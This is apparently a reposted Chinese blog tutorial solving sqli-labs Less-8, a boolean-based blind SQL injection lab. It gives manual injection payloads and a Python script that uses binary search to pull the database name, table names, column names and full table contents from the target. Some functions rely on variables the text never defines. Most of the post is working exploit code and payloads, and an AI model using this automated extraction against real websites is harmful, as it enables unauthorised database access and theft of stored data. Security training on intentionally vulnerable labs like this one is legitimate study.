sqli-labs练习(八)------GET-Blind-Boolian Based-Sing Quotes

这里写图片描述
输入1,回显You are in...........
这里写图片描述
输入1',没有回显
这里写图片描述


sql基于布尔的盲注

相关函数

函数 作用
length(str) 返回字符串str的长度
substr(str, pos, len) 将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) 跟上面的一样,截取字符串
ascii(str) 返回字符串str的最左面字符的ASCII代码值
ord(str) 同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

查询数据库
利用二分法的思想,获取数据库名第一个字符的ASCII码值
1' and ascii(substr((select database()),1,1))>64 %23,返回You are in...........说明数据库名第一个字符的ASCII码值大于64(大写字母A的ASCII码值为65)
这里写图片描述
输入1' and ascii(substr((select database()),1,1))>96 %23,返回You are in...........,小写字母a的ASCII码值为97
这里写图片描述
输入1' and ascii(substr((select database()),1,1))<123 %23,说明数据库名第一个字符是在小写字母a-z之间
这里写图片描述
由于前面我们已经知道数据库名为security,所以我们直接输入(s的ASCII码值为115)
1' and ascii(substr((select database()),1,1))=115 %23
这里写图片描述
该过程重复性的工作较多,我们可以用python编写一个脚本来得到数据库名长度,以下是源代码

参考博文:https://blog.csdn.net/u012763794/article/details/51207833

#!/usr/bin/env Python 3.6.4
# -*- coding: utf-8 -*-
# @Time    : 2018/4/26 11:37
# @Author  : wkend
# @File    : getDataBaseInfo.py
# @Software: PyCharm


import urllib.request

url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1"
success_str = "You are in..........."

database = "database()"
length_payload = "' and length(%s)>=%d #"


def get_length_result(payload, string, length):
    """
    发送请求,根据页面的返回的判断长度的猜测结果
    :param length:
    :param payload:使用的payload
    :param string:猜测的字符串
    :return:猜解结果布尔值
    """
    final_url = url + urllib.request.quote(payload % (string, length))
    res = urllib.request.urlopen(final_url)  # 打开并将爬取的网页赋值给res
    echo = res.read().decode("utf-8")
    if success_str in echo:
        return True
    else:
        return False


def get_length_string(payload, string):
    """
    猜解字符串长度
    :param string:数据库名函数database()
    :param payload:长度判断payload
    :return:猜解长度
    """
    length_left = 0
    length_right = 0
    guess = 10
    # 确定长度上限,每次增加5
    while 1:
        # 如果长度大于guess
        if get_length_result(payload, string, guess):
            # 猜解值增5
            guess += 5
        else:
            length_right = guess
            break
    # 二分法猜长度
    mid = (length_left + length_right) / 2
    while length_left < length_right - 1:
        # 如果长度大于等于mid
        if get_length_result(payload, string, mid):
            # 更新长度的左边界为mid
            length_left = mid
        else:
            # 更新长度右边界为mid
            length_right = mid
        # 更新中间值
        mid = (length_left + length_right) / 2
    return length_left


def inject():
    """
    注入
    :return:
    """
    # 猜解数据库名长度
    length_DB_name = int(get_length_string(length_payload, database))
    print("当前数据库名长度" + str(length_DB_name))


def main():
    inject()


main()

输出结果

D:\python\python.exe E:/程序代码/python/脚本工具/猜解数据库/getDataBaseInfo.py
当前数据库名长度8

Process finished with exit code 0

OK,获取到数据库名的长度,那么接下来就可以暴力破解数据库名了,增加以下功能函数,得到数据库名

def get_result(ascii_payload, select_db, i, mid):
    """
    获取ASCII码值比较结果
    :param ascii_payload:
    :param select_db:
    :param i:
    :param mid:
    :return:
    """
    final_url = url + urllib.request.quote(ascii_payload % (select_db, i, mid))
    res = urllib.request.urlopen(final_url)
    if success_str in res.read().decode("utf-8"):
        return True
    else:
        return False


def get_name(ascii_payload, select_db, length_DB_name):
    """
    根据数据库名长度获取数据库名
    :param ascii_payload: 获取当前字符的ASCII码值的payload
    :param select_db:获取当前数据库名
    :param length_DB_name: 数据库名的长度
    :return: 返回数据库名
    """
    tmp = ''
    for i in range(1, length_DB_name + 1):
        left_letter = 32  # 32 为空格
        right_letter = 127  # 127为删除
        mid = int((left_letter + right_letter) / 2)
        while left_letter < right_letter - 1:
            # 如果第i个字符的ASCII码值大于等于mid
            if get_result(ascii_payload, select_db, i, mid):
                # 更新左边界
                left_letter = mid
            else:
                # 更新右边界
                right_letter = mid
            # 更新中间值
            mid = int((left_letter + right_letter) / 2)
        tmp += chr(left_letter)
    return tmp

构造payload,获取数据库中表的个数

select_table_count_payload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
# 获取数据库中表的数量
table_count = int(get_length_string(select_table_count_payload, DB_name))
print("数据库" + DB_name + "表的数量:" + str(table_count))

这里写图片描述

增加功能函数,获取数据库security中的所有表名

def get_tables_name(table_count, dbname):
    """
    获取数据库中的所有表名
    :return:给定数据库中的所有表名
    """
    tables = []  # 定义列表来存放表名
    for i in range(0, table_count):
        # 第几个表
        num = str(i)
        # 获取当前这个表的长度
        select_table_name_length_payload = select_table_name_length_payload_front + num + select_table_count_payload_behind
        table_name_length = int(get_length_string(select_table_name_length_payload, dbname))
        select_table_name = select_table % (dbname, i)
        table_name = get_name(ascii_payload, select_table_name, table_name_length)
        tables.append(table_name)
    return tables

这里写图片描述

扫描二维码关注公众号,回复: 358016 查看本文章

构造payload,调用函数get_length_string获取指定表的字段的个数

# 获取指定表的列的数量
    select_column_count_payload = "'and (select count(column_name) " \
                                  "from information_schema.columns where table_schema='" \
                                  + DB_name + "' and table_name='%s')>=%d #"
    column_count = int(get_length_string(select_column_count_payload, "users"))
    print("表users中有" + str(column_count) + "个字段")

构造payload,获取指定表有多少行数据

# 获取该指定表有多少行数据
    data_count_payload = "' and (select count(*) from %s)>=%d #"
    data_count = int(get_length_string(data_count_payload, "users"))
    print("表users中有" + str(data_count) + "行数据")

增加功能函数,输出指定表中的所有数据

def get_table_data(column_count, dbname, table_name, data_count):
    """
    获取指定表的字段名
    :param dbname: 数据库名
    :param data_count: 表中有多少行数据
    :param column_count: 字段数量
    :param table_name: 表名
    :return:
    """
    fields_value = []  # 定义字段值列表
    fields_name = []  # 定义字段名列表
    for i in range(0, column_count):
        # 获取当前列字段名长度
        get_field_name_length_payload = "'and (select length(column_name)" \
                                        " from information_schema.columns " \
                                        "where table_schema='" + dbname + \
                                        "' and table_name='%s' limit " + str(i) + ",1)>=%d #"
        field_name_length = int(get_length_string(get_field_name_length_payload, table_name))
        # 获取该列名字
        get_field_name_payload = "select column_name from information_schema.columns " \
                                 "where table_schema='" + dbname + "' and table_name='%s' limit %d,1"
        select_field_name_payload = get_field_name_payload % (table_name, i)
        field_name = get_name(ascii_payload, select_field_name_payload, field_name_length)
        fields_name.append(field_name)
        # 获取当前列的所有数据
        for j in range(0, data_count):
            field_value_payload = "'and (select length(" \
                                  + field_name + ") from %s limit " + str(j) + ",1)>=%d #"
            field_value_length = int(get_length_string(field_value_payload, table_name))
            select_field_value_payload = "select " + field_name + " from " + table_name + " limit " + str(j) + ",1"
            field_value = get_name(ascii_payload, select_field_value_payload, field_value_length)
            fields_value.append(field_value)
    return fields_name, fields_value

OK,对这一节的学习就结束了,下图是最终的执行结果
这里写图片描述


关于本文中的完整源代码,见下面的资源连接:
https://download.csdn.net/download/qq_34444097/10383265

猜你喜欢

转载自blog.csdn.net/qq_34444097/article/details/80101023
今日推荐